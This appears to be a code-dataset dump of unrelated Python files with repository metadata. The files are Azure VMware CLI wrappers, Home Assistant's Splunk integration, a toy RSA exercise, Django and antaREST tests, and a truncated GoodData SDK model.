dns_services=dns_services, revision=revision) return client.workload_networks.begin_create_dns_zone(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dns_zone_id=dns_zone, workload_network_dns_zone=prop) def workload_network_dns_zone_update(client: AVSClient, resource_group_name, private_cloud, dns_zone, display_name=None, domain=None, dns_server_ips=None, source_ip=None, dns_services=None, revision=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkDnsZone prop = WorkloadNetworkDnsZone(display_name=display_name, domain=domain, dns_server_ips=dns_server_ips, source_ip=source_ip, dns_services=dns_services, revision=revision) return client.workload_networks.begin_update_dns_zone(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dns_zone_id=dns_zone, workload_network_dns_zone=prop) def workload_network_dns_zone_delete(client: AVSClient, resource_group_name, private_cloud, dns_zone): return client.workload_networks.begin_delete_dns_zone(resource_group_name=resource_group_name, private_cloud_name=private_cloud, dns_zone_id=dns_zone) def workload_network_port_mirroring_list(client: AVSClient, resource_group_name, private_cloud): return client.workload_networks.list_port_mirroring(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def workload_network_port_mirroring_get(client: AVSClient, resource_group_name, private_cloud, port_mirroring): return client.workload_networks.get_port_mirroring(resource_group_name=resource_group_name, private_cloud_name=private_cloud, port_mirroring_id=port_mirroring) def workload_network_port_mirroring_create(client: AVSClient, resource_group_name, private_cloud, port_mirroring, display_name=None, direction=None, source=None, destination=None, revision=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkPortMirroring prop = WorkloadNetworkPortMirroring(display_name=display_name, direction=direction, source=source, destination=destination, revision=revision) return client.workload_networks.begin_create_port_mirroring(resource_group_name=resource_group_name, private_cloud_name=private_cloud, port_mirroring_id=port_mirroring, workload_network_port_mirroring=prop) def workload_network_port_mirroring_update(client: AVSClient, resource_group_name, private_cloud, port_mirroring, display_name=None, direction=None, source=None, destination=None, revision=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkPortMirroring prop = WorkloadNetworkPortMirroring(display_name=display_name, direction=direction, source=source, destination=destination, revision=revision) return client.workload_networks.begin_update_port_mirroring(resource_group_name=resource_group_name, private_cloud_name=private_cloud, port_mirroring_id=port_mirroring, workload_network_port_mirroring=prop) def workload_network_port_mirroring_delete(client: AVSClient, resource_group_name, private_cloud, port_mirroring): return client.workload_networks.begin_delete_port_mirroring(resource_group_name=resource_group_name, private_cloud_name=private_cloud, port_mirroring_id=port_mirroring) def workload_network_segment_list(client: AVSClient, resource_group_name, private_cloud): return client.workload_networks.list_segments(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def workload_network_segment_get(client: AVSClient, resource_group_name, private_cloud, segment): return client.workload_networks.get_segment(resource_group_name=resource_group_name, private_cloud_name=private_cloud, segment_id=segment) def workload_network_segment_create(client: AVSClient, resource_group_name, private_cloud, segment, display_name=None, connected_gateway=None, revision=None, dhcp_ranges=None, gateway_address=None, port_name=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkSegmentPortVif from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkSegmentSubnet from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkSegment portVif = WorkloadNetworkSegmentPortVif(port_name=port_name) subnet = WorkloadNetworkSegmentSubnet(dhcp_ranges=dhcp_ranges, gateway_address=gateway_address) segmentObj = WorkloadNetworkSegment(display_name=display_name, connected_gateway=connected_gateway, subnet=subnet, port_vif=portVif, revision=revision) return client.workload_networks.begin_create_segments(resource_group_name=resource_group_name, private_cloud_name=private_cloud, segment_id=segment, workload_network_segment=segmentObj) def workload_network_segment_update(client: AVSClient, resource_group_name, private_cloud, segment, display_name=None, connected_gateway=None, revision=None, dhcp_ranges=None, gateway_address=None, port_name=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkSegmentPortVif from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkSegmentSubnet from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkSegment portVif = WorkloadNetworkSegmentPortVif(port_name=port_name) subnet = WorkloadNetworkSegmentSubnet(dhcp_ranges=dhcp_ranges, gateway_address=gateway_address) segmentObj = WorkloadNetworkSegment(display_name=display_name, connected_gateway=connected_gateway, subnet=subnet, port_vif=portVif, revision=revision) return client.workload_networks.begin_update_segments(resource_group_name=resource_group_name, private_cloud_name=private_cloud, segment_id=segment, workload_network_segment=segmentObj) def workload_network_segment_delete(client: AVSClient, resource_group_name, private_cloud, segment): return client.workload_networks.begin_delete_segment(resource_group_name=resource_group_name, private_cloud_name=private_cloud, segment_id=segment) def workload_network_public_ip_list(client: AVSClient, resource_group_name, private_cloud): return client.workload_networks.list_public_i_ps(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def workload_network_public_ip_get(client: AVSClient, resource_group_name, private_cloud, public_ip): return client.workload_networks.get_public_ip(resource_group_name=resource_group_name, private_cloud_name=private_cloud, public_ip_id=public_ip) def workload_network_public_ip_create(client: AVSClient, resource_group_name, private_cloud, public_ip, display_name=None, number_of_public_ips=None): return client.workload_networks.begin_create_public_ip(resource_group_name=resource_group_name, private_cloud_name=private_cloud, public_ip_id=public_ip, display_name=display_name, number_of_public_i_ps=number_of_public_ips) def workload_network_public_ip_delete(client: AVSClient, resource_group_name, private_cloud, public_ip): return client.workload_networks.begin_delete_public_ip(resource_group_name=resource_group_name, private_cloud_name=private_cloud, public_ip_id=public_ip) def workload_network_vm_group_list(client: AVSClient, resource_group_name, private_cloud): return client.workload_networks.list_vm_groups(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def workload_network_vm_group_get(client: AVSClient, resource_group_name, private_cloud, vm_group): return client.workload_networks.get_vm_group(resource_group_name=resource_group_name, private_cloud_name=private_cloud, vm_group_id=vm_group) def workload_network_vm_group_create(client: AVSClient, resource_group_name, private_cloud, vm_group, display_name=None, members=None, revision=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkVMGroup vmGroup = WorkloadNetworkVMGroup(display_name=display_name, members=members, revision=revision) return client.workload_networks.begin_create_vm_group(resource_group_name=resource_group_name, private_cloud_name=private_cloud, vm_group_id=vm_group, workload_network_vm_group=vmGroup) def workload_network_vm_group_update(client: AVSClient, resource_group_name, private_cloud, vm_group, display_name=None, members=None, revision=None): from azext_vmware.vendored_sdks.avs_client.models import WorkloadNetworkVMGroup vmGroup = WorkloadNetworkVMGroup(display_name=display_name, members=members, revision=revision) return client.workload_networks.begin_update_vm_group(resource_group_name=resource_group_name, private_cloud_name=private_cloud, vm_group_id=vm_group, workload_network_vm_group=vmGroup) def workload_network_vm_group_delete(client: AVSClient, resource_group_name, private_cloud, vm_group): return client.workload_networks.begin_delete_vm_group(resource_group_name=resource_group_name, private_cloud_name=private_cloud, vm_group_id=vm_group) def workload_network_vm_list(client: AVSClient, resource_group_name, private_cloud): return client.workload_networks.list_virtual_machines(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def workload_network_vm_get(client: AVSClient, resource_group_name, private_cloud, virtual_machine): return client.workload_networks.get_virtual_machine(resource_group_name=resource_group_name, private_cloud_name=private_cloud, virtual_machine_id=virtual_machine) def workload_network_gateway_list(client: AVSClient, resource_group_name, private_cloud): return client.workload_networks.list_gateways(resource_group_name=resource_group_name, private_cloud_name=private_cloud) def workload_network_gateway_get(client: AVSClient, resource_group_name, private_cloud, gateway): return client.workload_networks.get_gateway(resource_group_name=resource_group_name, private_cloud_name=private_cloud, gateway_id=gateway) def placement_policy_list(client: AVSClient, resource_group_name, private_cloud, cluster_name): return client.placement_policies.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name) def placement_policy_get(client: AVSClient, resource_group_name, private_cloud, cluster_name, placement_policy_name): return client.placement_policies.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name, placement_policy_name=placement_policy_name) def placement_policy_vm_create(client: AVSClient, resource_group_name, private_cloud, cluster_name, placement_policy_name, state=None, display_name=None, vm_members=None, affinity_type=None): from azext_vmware.vendored_sdks.avs_client.models import VmPlacementPolicyProperties if vm_members is not None and affinity_type is not None: vmProperties = VmPlacementPolicyProperties(type="VmVm", state=state, display_name=display_name, vm_members=vm_members, affinity_type=affinity_type) return client.placement_policies.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name, placement_policy_name=placement_policy_name, properties=vmProperties) return client.placement_policies.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name, placement_policy_name=placement_policy_name) def placement_policy_vm_host_create(client: AVSClient, resource_group_name, private_cloud, cluster_name, placement_policy_name, state=None, display_name=None, vm_members=None, host_members=None, affinity_type=None): from azext_vmware.vendored_sdks.avs_client.models import VmHostPlacementPolicyProperties if vm_members is not None and host_members is not None and affinity_type is not None: vmHostProperties = VmHostPlacementPolicyProperties(type="VmHost", state=state, display_name=display_name, vm_members=vm_members, host_members=host_members, affinity_type=affinity_type) return client.placement_policies.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name, placement_policy_name=placement_policy_name, properties=vmHostProperties) return client.placement_policies.begin_create_or_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name, placement_policy_name=placement_policy_name) def placement_policy_update(client: AVSClient, resource_group_name, private_cloud, cluster_name, placement_policy_name, state=None, vm_members=None, host_members=None): from azext_vmware.vendored_sdks.avs_client.models import PlacementPolicyUpdate props = PlacementPolicyUpdate(state=state, vm_members=vm_members, host_members=host_members) return client.placement_policies.begin_update(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name, placement_policy_name=placement_policy_name, placement_policy_update=props) def placement_policy_delete(client: AVSClient, resource_group_name, private_cloud, cluster_name, placement_policy_name, yes=False): from knack.prompting import prompt_y_n msg = 'This will delete the placement policy. Are you sure?' if not yes and not prompt_y_n(msg, default="n"): return None return client.placement_policies.begin_delete(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name, placement_policy_name=placement_policy_name) def virtual_machine_get(client: AVSClient, resource_group_name, private_cloud, cluster_name, virtual_machine): return client.virtual_machines.get(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name, virtual_machine_id=virtual_machine) def virtual_machine_list(client: AVSClient, resource_group_name, private_cloud, cluster_name): return client.virtual_machines.list(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name) def virtual_machine_restrict(client: AVSClient, resource_group_name, private_cloud, cluster_name, virtual_machine, restrict_movement): from azext_vmware.vendored_sdks.avs_client.models import VirtualMachineRestrictMovementState return client.virtual_machines.begin_restrict_movement(resource_group_name=resource_group_name, private_cloud_name=private_cloud, cluster_name=cluster_name, virtual_machine_id=virtual_machine, restrict_movement=VirtualMachineRestrictMovementState(restrict_movement))

39,345

0

2,691

e8543128623a87ce635f365d99f5095e9399562a

2,823

py

Python

tests/storage/repository/test_study.py

AntaresSimulatorTeam/antaREST

d686d2a86a52737c211ae67f3cee591f559909f2

[ "Apache-2.0" ]

2

2021-11-15T09:26:33.000Z

2022-02-24T09:53:54.000Z

tests/storage/repository/test_study.py

AntaresSimulatorTeam/antaREST

d686d2a86a52737c211ae67f3cee591f559909f2

[ "Apache-2.0" ]

542

2021-01-11T13:23:47.000Z

2022-03-31T15:38:10.000Z

tests/storage/repository/test_study.py

AntaresSimulatorTeam/antaREST

d686d2a86a52737c211ae67f3cee591f559909f2

[ "Apache-2.0" ]

1

2020-10-01T12:18:15.000Z

from datetime import datetime from unittest.mock import Mock from sqlalchemy import create_engine from sqlalchemy.orm import scoped_session, sessionmaker # type: ignore from antarest.core.persistence import Base from antarest.core.utils.fastapi_sqlalchemy import DBSessionMiddleware, db from antarest.login.model import User, Group from antarest.study.model import ( Study, RawStudy, DEFAULT_WORKSPACE_NAME, StudyContentStatus, PublicMode, ) from antarest.study.repository import StudyMetadataRepository

27.144231

74

0.589444

from datetime import datetime from unittest.mock import Mock from sqlalchemy import create_engine from sqlalchemy.orm import scoped_session, sessionmaker # type: ignore from antarest.core.persistence import Base from antarest.core.utils.fastapi_sqlalchemy import DBSessionMiddleware, db from antarest.login.model import User, Group from antarest.study.model import ( Study, RawStudy, DEFAULT_WORKSPACE_NAME, StudyContentStatus, PublicMode, ) from antarest.study.repository import StudyMetadataRepository def test_cyclelife(): engine = create_engine("sqlite:///:memory:", echo=True) sess = scoped_session( sessionmaker(autocommit=False, autoflush=False, bind=engine) ) user = User(id=0, name="admin") group = Group(id="my-group", name="group") Base.metadata.create_all(engine) DBSessionMiddleware( Mock(), custom_engine=engine, session_args={"autocommit": False, "autoflush": False}, ) with db(): repo = StudyMetadataRepository() a = Study( name="a", version="42", author="John Smith", created_at=datetime.now(), updated_at=datetime.now(), public_mode=PublicMode.FULL, owner=user, groups=[group], ) b = Study( name="b", version="43", author="Morpheus", created_at=datetime.now(), updated_at=datetime.now(), public_mode=PublicMode.FULL, owner=user, groups=[group], ) a = repo.save(a) b = repo.save(b) assert b.id c = repo.get(a.id) assert a == c repo.delete(a.id) assert repo.get(a.id) is None def test_study_inheritance(): engine = create_engine("sqlite:///:memory:", echo=True) sess = scoped_session( sessionmaker(autocommit=False, autoflush=False, bind=engine) ) user = User(id=0, name="admin") group = Group(id="my-group", name="group") Base.metadata.create_all(engine) DBSessionMiddleware( Mock(), custom_engine=engine, session_args={"autocommit": False, "autoflush": False}, ) with db(): repo = StudyMetadataRepository() a = RawStudy( name="a", version="42", author="John Smith", created_at=datetime.now(), updated_at=datetime.now(), public_mode=PublicMode.FULL, owner=user, groups=[group], workspace=DEFAULT_WORKSPACE_NAME, path="study", content_status=StudyContentStatus.WARNING, ) repo.save(a) b = repo.get(a.id) assert isinstance(b, RawStudy) assert b.path == "study"

2,248

0

46

6b40f9b7d58392a2be162f00d5852bd1e08b2a0e

3,784

py

Python

homeassistant/components/splunk/__init__.py

learn-home-automation/core

c5d8792c3487e9b418b1e7d623bf59e7dbddd6b7

[ "Apache-2.0" ]

22,481

2020-03-02T13:09:59.000Z

2022-03-31T23:34:28.000Z

homeassistant/components/splunk/__init__.py

learn-home-automation/core

c5d8792c3487e9b418b1e7d623bf59e7dbddd6b7

[ "Apache-2.0" ]

31,101

2020-03-02T13:00:16.000Z

2022-03-31T23:57:36.000Z

homeassistant/components/splunk/__init__.py

learn-home-automation/core

c5d8792c3487e9b418b1e7d623bf59e7dbddd6b7

[ "Apache-2.0" ]

11,411

2020-03-02T14:19:20.000Z

2022-03-31T22:46:07.000Z

"""Support to send data to a Splunk instance.""" import asyncio from http import HTTPStatus import json import logging import time from aiohttp import ClientConnectionError, ClientResponseError from hass_splunk import SplunkPayloadError, hass_splunk import voluptuous as vol from homeassistant.const import ( CONF_HOST, CONF_NAME, CONF_PORT, CONF_SSL, CONF_TOKEN, CONF_VERIFY_SSL, EVENT_STATE_CHANGED, ) from homeassistant.helpers import state as state_helper from homeassistant.helpers.aiohttp_client import async_get_clientsession import homeassistant.helpers.config_validation as cv from homeassistant.helpers.entityfilter import FILTER_SCHEMA from homeassistant.helpers.json import JSONEncoder _LOGGER = logging.getLogger(__name__) DOMAIN = "splunk" CONF_FILTER = "filter" DEFAULT_HOST = "localhost" DEFAULT_PORT = 8088 DEFAULT_SSL = False DEFAULT_NAME = "HASS" CONFIG_SCHEMA = vol.Schema( { DOMAIN: vol.Schema( { vol.Required(CONF_TOKEN): cv.string, vol.Optional(CONF_HOST, default=DEFAULT_HOST): cv.string, vol.Optional(CONF_PORT, default=DEFAULT_PORT): cv.port, vol.Optional(CONF_SSL, default=False): cv.boolean, vol.Optional(CONF_VERIFY_SSL, default=True): cv.boolean, vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, vol.Optional(CONF_FILTER, default={}): FILTER_SCHEMA, } ) }, extra=vol.ALLOW_EXTRA, ) async def async_setup(hass, config): """Set up the Splunk component.""" conf = config[DOMAIN] host = conf.get(CONF_HOST) port = conf.get(CONF_PORT) token = conf.get(CONF_TOKEN) use_ssl = conf[CONF_SSL] verify_ssl = conf.get(CONF_VERIFY_SSL) name = conf.get(CONF_NAME) entity_filter = conf[CONF_FILTER] event_collector = hass_splunk( session=async_get_clientsession(hass), host=host, port=port, token=token, use_ssl=use_ssl, verify_ssl=verify_ssl, ) if not await event_collector.check(connectivity=False, token=True, busy=False): return False payload = { "time": time.time(), "host": name, "event": { "domain": DOMAIN, "meta": "Splunk integration has started", }, } await event_collector.queue(json.dumps(payload, cls=JSONEncoder), send=False) async def splunk_event_listener(event): """Listen for new messages on the bus and sends them to Splunk.""" state = event.data.get("new_state") if state is None or not entity_filter(state.entity_id): return try: _state = state_helper.state_as_number(state) except ValueError: _state = state.state payload = { "time": event.time_fired.timestamp(), "host": name, "event": { "domain": state.domain, "entity_id": state.object_id, "attributes": dict(state.attributes), "value": _state, }, } try: await event_collector.queue(json.dumps(payload, cls=JSONEncoder), send=True) except SplunkPayloadError as err: if err.status == HTTPStatus.UNAUTHORIZED: _LOGGER.error(err) else: _LOGGER.warning(err) except ClientConnectionError as err: _LOGGER.warning(err) except asyncio.TimeoutError: _LOGGER.warning("Connection to %s:%s timed out", host, port) except ClientResponseError as err: _LOGGER.error(err.message) hass.bus.async_listen(EVENT_STATE_CHANGED, splunk_event_listener) return True

29.333333

88

0.636892

"""Support to send data to a Splunk instance.""" import asyncio from http import HTTPStatus import json import logging import time from aiohttp import ClientConnectionError, ClientResponseError from hass_splunk import SplunkPayloadError, hass_splunk import voluptuous as vol from homeassistant.const import ( CONF_HOST, CONF_NAME, CONF_PORT, CONF_SSL, CONF_TOKEN, CONF_VERIFY_SSL, EVENT_STATE_CHANGED, ) from homeassistant.helpers import state as state_helper from homeassistant.helpers.aiohttp_client import async_get_clientsession import homeassistant.helpers.config_validation as cv from homeassistant.helpers.entityfilter import FILTER_SCHEMA from homeassistant.helpers.json import JSONEncoder _LOGGER = logging.getLogger(__name__) DOMAIN = "splunk" CONF_FILTER = "filter" DEFAULT_HOST = "localhost" DEFAULT_PORT = 8088 DEFAULT_SSL = False DEFAULT_NAME = "HASS" CONFIG_SCHEMA = vol.Schema( { DOMAIN: vol.Schema( { vol.Required(CONF_TOKEN): cv.string, vol.Optional(CONF_HOST, default=DEFAULT_HOST): cv.string, vol.Optional(CONF_PORT, default=DEFAULT_PORT): cv.port, vol.Optional(CONF_SSL, default=False): cv.boolean, vol.Optional(CONF_VERIFY_SSL, default=True): cv.boolean, vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, vol.Optional(CONF_FILTER, default={}): FILTER_SCHEMA, } ) }, extra=vol.ALLOW_EXTRA, ) async def async_setup(hass, config): """Set up the Splunk component.""" conf = config[DOMAIN] host = conf.get(CONF_HOST) port = conf.get(CONF_PORT) token = conf.get(CONF_TOKEN) use_ssl = conf[CONF_SSL] verify_ssl = conf.get(CONF_VERIFY_SSL) name = conf.get(CONF_NAME) entity_filter = conf[CONF_FILTER] event_collector = hass_splunk( session=async_get_clientsession(hass), host=host, port=port, token=token, use_ssl=use_ssl, verify_ssl=verify_ssl, ) if not await event_collector.check(connectivity=False, token=True, busy=False): return False payload = { "time": time.time(), "host": name, "event": { "domain": DOMAIN, "meta": "Splunk integration has started", }, } await event_collector.queue(json.dumps(payload, cls=JSONEncoder), send=False) async def splunk_event_listener(event): """Listen for new messages on the bus and sends them to Splunk.""" state = event.data.get("new_state") if state is None or not entity_filter(state.entity_id): return try: _state = state_helper.state_as_number(state) except ValueError: _state = state.state payload = { "time": event.time_fired.timestamp(), "host": name, "event": { "domain": state.domain, "entity_id": state.object_id, "attributes": dict(state.attributes), "value": _state, }, } try: await event_collector.queue(json.dumps(payload, cls=JSONEncoder), send=True) except SplunkPayloadError as err: if err.status == HTTPStatus.UNAUTHORIZED: _LOGGER.error(err) else: _LOGGER.warning(err) except ClientConnectionError as err: _LOGGER.warning(err) except asyncio.TimeoutError: _LOGGER.warning("Connection to %s:%s timed out", host, port) except ClientResponseError as err: _LOGGER.error(err.message) hass.bus.async_listen(EVENT_STATE_CHANGED, splunk_event_listener) return True

0

a924a3b3fa825a585783593415bcffef891d3164

1,915

py

Python

2021_2022/Training_2/RSA_Dream/Cripto_9.py

0awawa0/DonNU_CTF

7ff693fdba4609298f5556ea583fe604980d76e3

[ "MIT" ]

null

2021_2022/Training_2/RSA_Dream/Cripto_9.py

0awawa0/DonNU_CTF

7ff693fdba4609298f5556ea583fe604980d76e3

[ "MIT" ]

null

2021_2022/Training_2/RSA_Dream/Cripto_9.py

0awawa0/DonNU_CTF

7ff693fdba4609298f5556ea583fe604980d76e3

[ "MIT" ]

null

import random alf=["а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я",".",",",":","?"] zam=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36] p=17 q=11 file=open('text.txt',encoding='utf-8') st1=list(file.read()) file.close() print(st1) f,f2=rsa(st1,p,q) s=sum(f) print(s) print(f,f2)

19.947917

154

0.399478

import random def gcd(a,b): #расширенный x, lasty=0,0 y, lastx=1,1 n=a m=b while m!=0: q=n//m r=n%m n=m m=r x, lastx = lastx-q*x, x y, lasty = lasty-q*y, y return n def gcdost(a,b): #расширенный x, lasty=0,0 y, lastx=1,1 n=a m=b while m!=0: q=n//m r=n%m n=m m=r x, lastx = lastx-q*x, x y, lasty = lasty-q*y, y return lastx def pmnoj(a): p = [] d = 2 while d * d <= a: if a % d == 0: p.append(d) a //= d else: d += 1 if a > 1: p.append(a) return p def ferma(c): for i in range(1000): a=random.randint(2, c-2) b=a**(c-1)%c if b==1: return True else: return False def rsa(st1, p,q): st2=[] res=[] res2=[] p1=ferma(p) q1=ferma(q) if not p1 or not q1: return "Error" for i in range(len(st1)): for j in range(len(alf)): if st1[i]==alf[j]: st2.append(zam[j]) n=p*q fn=(p-1)*(q-1) i=2 while i < fn: e=gcd(fn,i) if e==1: e=i break i+=1 d=gcdost(e,fn) if d<0: d+=fn for i in st2: res.append((i**e)%n) for i in res: res2.append((i**d)%n) return res,res2 alf=["а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я",".",",",":","?"] zam=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36] p=17 q=11 file=open('text.txt',encoding='utf-8') st1=list(file.read()) file.close() print(st1) f,f2=rsa(st1,p,q) s=sum(f) print(s) print(f,f2)

1,377

0

123

771784edcc7f5296f6cfcf7f2749b285b3a3b2d4

2,522

py

Python

accounts/tests.py

Panda4817/MySousChef

64c3967566b3834d578406884ee6b4a3807b21f8

[ "MIT" ]

1

2021-02-25T17:54:28.000Z

accounts/tests.py

Panda4817/MySousChef

64c3967566b3834d578406884ee6b4a3807b21f8

[ "MIT" ]

null

accounts/tests.py

Panda4817/MySousChef

64c3967566b3834d578406884ee6b4a3807b21f8

[ "MIT" ]

null

from django.test import TestCase, Client from .models import Profile from django.contrib.auth.models import User import unittest from .forms import SignUpForm from .signals import show_login_message, show_logout_message from django.contrib.auth.signals import user_logged_out, user_logged_in from django.contrib import messages from django.contrib.messages.middleware import MessageMiddleware from django.contrib.sessions.middleware import SessionMiddleware # Create your tests here.

37.641791

72

0.646709

from django.test import TestCase, Client from .models import Profile from django.contrib.auth.models import User import unittest from .forms import SignUpForm from .signals import show_login_message, show_logout_message from django.contrib.auth.signals import user_logged_out, user_logged_in from django.contrib import messages from django.contrib.messages.middleware import MessageMiddleware from django.contrib.sessions.middleware import SessionMiddleware # Create your tests here. class ModelsTestCase(TestCase): def setUp(self): # Create User instance u = User.objects.create_user('testing', password='hello') def test_count_user_instance(self): u = User.objects.filter(username="testing") self.assertEqual(len(u), 1) def test_count_profile_instance(self): u = User.objects.filter(username="testing") p = Profile.objects.filter(user=u[0]) self.assertEqual(len(p), 1) def test_index(self): c = Client() response = c.get("", secure=True) self.assertEqual(response.status_code, 200) def test_register(self): c = Client() response = c.get("/register", secure=True) self.assertEqual(response.status_code, 200) def test_login(self): c = Client() u = User.objects.get_by_natural_key('testing') request = c.get("/login", secure=True, follow = True) self.assertEqual(request.status_code, 200) request2 = c.login(username='testing', password="hello") self.assertTrue(request2) def test_logout(self): c = Client() u = User.objects.get_by_natural_key('testing') c.login(username='testing', password="hello") check = c.get("/logout", secure=True, follow=True) self.assertRedirects(check, "https://testserver/", 302, 200) def test_account(self): c = Client() u = User.objects.get_by_natural_key('testing') c.login(username='testing', password="hello") response = c.get("/account", secure=True, follow=True) self.assertEqual(response.status_code, 200) def test_contact(self): c = Client() response = c.get("/contact", secure=True) self.assertEqual(response.status_code, 200) c.login(username='testing', password="hello") response2 = c.get("/contact", secure=True) self.assertEqual(response2.status_code, 200)

1,699

10

314

ad5dd51fc7ed9905b46da578dce076efe35092ef

5,679

py

Python

gooddata-sdk/gooddata_sdk/catalog/data_source/declarative_model/data_source.py

gooddata/gooddata-python-sdk

df4d4a4d730ab376960ae2ed01e7d86498e85c6a

[ "MIT" ]

7

2022-01-24T16:27:06.000Z

2022-02-25T10:18:49.000Z

gooddata-sdk/gooddata_sdk/catalog/data_source/declarative_model/data_source.py

gooddata/gooddata-python-sdk

df4d4a4d730ab376960ae2ed01e7d86498e85c6a

[ "MIT" ]

29

2022-01-20T15:45:38.000Z

2022-03-31T09:39:25.000Z

gooddata-sdk/gooddata_sdk/catalog/data_source/declarative_model/data_source.py

gooddata/gooddata-python-sdk

df4d4a4d730ab376960ae2ed01e7d86498e85c6a

[ "MIT" ]

7

2022-01-20T07:11:15.000Z

2022-03-09T14:50:17.000Z

# (C) 2022 GoodData Corporation from __future__ import annotations from pathlib import Path from typing import Any, List, Optional, Type import attr from gooddata_metadata_client.model.declarative_data_source import DeclarativeDataSource from gooddata_metadata_client.model.declarative_data_sources import DeclarativeDataSources from gooddata_scan_client.model.test_definition_request import TestDefinitionRequest from gooddata_sdk.catalog.base import Base from gooddata_sdk.catalog.data_source.declarative_model.physical_model.pdm import CatalogDeclarativeTables from gooddata_sdk.catalog.entity import TokenCredentialsFromFile from gooddata_sdk.catalog.permissions.permission import CatalogDeclarativeDataSourcePermission from gooddata_sdk.utils import create_directory, read_layout_from_file, write_layout_to_file BIGQUERY_TYPE = "BIGQUERY" LAYOUT_DATA_SOURCES_DIR = "data_sources" @attr.s(auto_attribs=True, kw_only=True) @attr.s(auto_attribs=True, kw_only=True)

42.699248

113

0.728649

# (C) 2022 GoodData Corporation from __future__ import annotations from pathlib import Path from typing import Any, List, Optional, Type import attr from gooddata_metadata_client.model.declarative_data_source import DeclarativeDataSource from gooddata_metadata_client.model.declarative_data_sources import DeclarativeDataSources from gooddata_scan_client.model.test_definition_request import TestDefinitionRequest from gooddata_sdk.catalog.base import Base from gooddata_sdk.catalog.data_source.declarative_model.physical_model.pdm import CatalogDeclarativeTables from gooddata_sdk.catalog.entity import TokenCredentialsFromFile from gooddata_sdk.catalog.permissions.permission import CatalogDeclarativeDataSourcePermission from gooddata_sdk.utils import create_directory, read_layout_from_file, write_layout_to_file BIGQUERY_TYPE = "BIGQUERY" LAYOUT_DATA_SOURCES_DIR = "data_sources" @attr.s(auto_attribs=True, kw_only=True) class CatalogDeclarativeDataSources(Base): data_sources: List[CatalogDeclarativeDataSource] def to_api(self, credentials: dict[str, Any] = None) -> DeclarativeDataSources: data_sources = [] client_class = self.client_class() credentials = credentials if credentials is not None else dict() for data_source in self.data_sources: if data_source.id in credentials: if data_source.type == BIGQUERY_TYPE: token = TokenCredentialsFromFile.token_from_file(credentials[data_source.id]) data_sources.append(data_source.to_api(token=token)) else: data_sources.append(data_source.to_api(password=credentials[data_source.id])) else: data_sources.append(data_source.to_api()) return client_class(data_sources=data_sources) @staticmethod def client_class() -> Type[DeclarativeDataSources]: return DeclarativeDataSources @staticmethod def data_sources_folder(layout_organization_folder: Path) -> Path: return layout_organization_folder / LAYOUT_DATA_SOURCES_DIR def store_to_disk(self, layout_organization_folder: Path) -> None: data_sources_folder = self.data_sources_folder(layout_organization_folder) create_directory(data_sources_folder) for data_source in self.data_sources: data_source.store_to_disk(data_sources_folder) @classmethod def load_from_disk(cls, layout_organization_folder: Path) -> CatalogDeclarativeDataSources: data_sources_folder = cls.data_sources_folder(layout_organization_folder) data_source_ids = sorted([p.stem for p in data_sources_folder.iterdir() if p.is_dir()]) data_sources = [] for data_source_id in data_source_ids: data_sources.append(CatalogDeclarativeDataSource.load_from_disk(data_sources_folder, data_source_id)) return cls(data_sources=data_sources) @attr.s(auto_attribs=True, kw_only=True) class CatalogDeclarativeDataSource(Base): id: str type: str name: str url: str schema: str enable_caching: Optional[bool] = None pdm: Optional[CatalogDeclarativeTables] = None cache_path: Optional[List[str]] = None username: Optional[str] = None permissions: List[CatalogDeclarativeDataSourcePermission] = [] def to_test_request( self, password: Optional[str] = None, token: Optional[str] = None, ) -> TestDefinitionRequest: kwargs: dict[str, Any] = {"schema": self.schema} if password is not None: kwargs["password"] = password if token is not None: kwargs["token"] = token if self.username is not None: kwargs["username"] = self.username return TestDefinitionRequest(type=self.type, url=self.url, **kwargs) @staticmethod def client_class() -> Type[DeclarativeDataSource]: return DeclarativeDataSource @staticmethod def data_source_folder(data_sources_folder: Path, data_source_id: str) -> Path: data_source_folder = data_sources_folder / data_source_id create_directory(data_source_folder) return data_source_folder def to_api( self, password: Optional[str] = None, token: Optional[str] = None, include_nested_structures: bool = True ) -> DeclarativeDataSource: dictionary = self._get_snake_dict() if not include_nested_structures: del dictionary["pdm"] if password is not 